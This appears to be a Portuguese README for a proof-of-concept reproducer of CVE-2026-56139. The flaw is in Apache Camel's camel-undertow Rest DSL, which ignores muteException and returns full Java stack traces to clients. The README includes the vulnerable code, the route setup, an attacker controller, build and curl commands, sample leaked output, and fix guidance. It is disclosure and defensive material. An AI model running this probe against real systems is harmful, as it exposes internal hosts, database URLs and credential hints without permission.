
Reprodutor de PoC para CVE-2026-56139 (Apache Camel camel-undertow Rest DSL): o Rest DSL codifica muteException=false, então um muteException=true configurado é ignorado e o stack trace completo de uma exceção não capturada é retornado ao cliente (CWE-209). Corrigido em 4.14.8/4.18.3/4.21.0.
Este projeto demonstra um problema de divulgação de informações no consumidor Rest DSL do camel-undertow do Apache Camel, registrado como CVE-2026-56139. A opção muteException controla se o detalhe de uma exceção de processamento não capturada é retornado ao cliente HTTP. Em um endpoint undertow simples a opção funciona — mas o Rest DSL do undertow cria seu binding de resposta com muteException codificado como false e nunca copia o valor configurado, então muteException é silenciosamente ignorado no modo REST e o stack trace completo do Java é retornado de qualquer forma:
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming())); // muteException stays false
}
Como o undertowHttpBinding do endpoint agora é não-nulo, UndertowEndpoint.getUndertowHttpBinding() retorna esse binding Rest como está e nunca executa o branch que copia o muteException do endpoint para ele. Portanto, uma rota que define explicitamente muteException=true ainda vaza stack traces quando servida através do Rest DSL — divulgando nomes de host internos do backend, URLs de banco de dados, dicas de credenciais/cofres, versões de bibliotecas e localizações de código-fonte.
Este PoC demonstra o impacto como exposição de informações através de uma mensagem de erro (CWE-209). É a contraparte específica do Rest-DSL do CVE-2026-49365 (que corrigiu o padrão muteException para endpoints simples camel-netty-http e camel-undertow); ambos foram corrigidos juntos sob CAMEL-23651.
| Propriedade | Valor |
|---|---|
| Componente | camel-undertow (consumidor Rest DSL) |
| Classe Afetada | org.apache.camel.component.undertow.UndertowComponent — cria RestUndertowHttpBinding sem copiar muteException (que, portanto, assume o padrão false) |
| CWE | CWE-209 (Geração de Mensagem de Erro Contendo Informações Sensíveis) |
| Impacto | Stack trace completo do Java retornado a um cliente não autenticado mesmo quando muteException=true está configurado |
| Pré-condições | Um consumidor undertow Rest DSL; qualquer requisição que dispare uma exceção de processamento |
| Versões Afetadas | De 4.0.0 anteriores a 4.14.8, de 4.15.0 anteriores a 4.18.3, de 4.19.0 anteriores a 4.21.0 |
| Versões Corrigidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23651 (PR apache/camel#23913) |
| Crédito | Yu Bao (PayPal) |
A correção faz com que o caminho do Rest DSL copie
endpoint.getMuteException()para oRestUndertowHttpBinding, de modo que o Rest DSL respeita a configuração (e o padrão corrigido detrue).
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom"); // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());
from("undertow:http://0.0.0.0:8889/plain/orders") // plain endpoint — HONOURS muteException, empty body
.process(new FailingProcessor());
CVE-2026-56139/
├── pom.xml # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FailingProcessor.java # throws an exception carrying sensitive internal detail
│ ├── RestRoutes.java # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
│ └── ExploitController.java # attacker: GETs both, shows Rest DSL leaks while plain is muted
└── resources/
└── application.properties # camel.component.undertow.mute-exception=true
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) undertow Rest DSL :8888 (muteException=true, but the Rest binding hard-codes false)
HTTP 500
response body (NNNN bytes) — LEAKS internal detail:
| java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
| jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
| at com.example.FailingProcessor.process(FailingProcessor.java:...)
| ...[truncated]
2) plain undertow endpoint :8889 (same muteException=true — honoured)
HTTP 500
response body: <empty>
>>> Information disclosure: true
Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23651). Após a atualização, o undertow Rest DSL respeita muteException (e o define como true por padrão), portanto o stack trace não é retornado.
Até a atualização, adicione um onException(...).handled(true) (ou um manipulador de erro global) que retorne uma mensagem genérica em vez do stack trace, e não confie apenas em muteException para consumidores undertow Rest DSL.
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.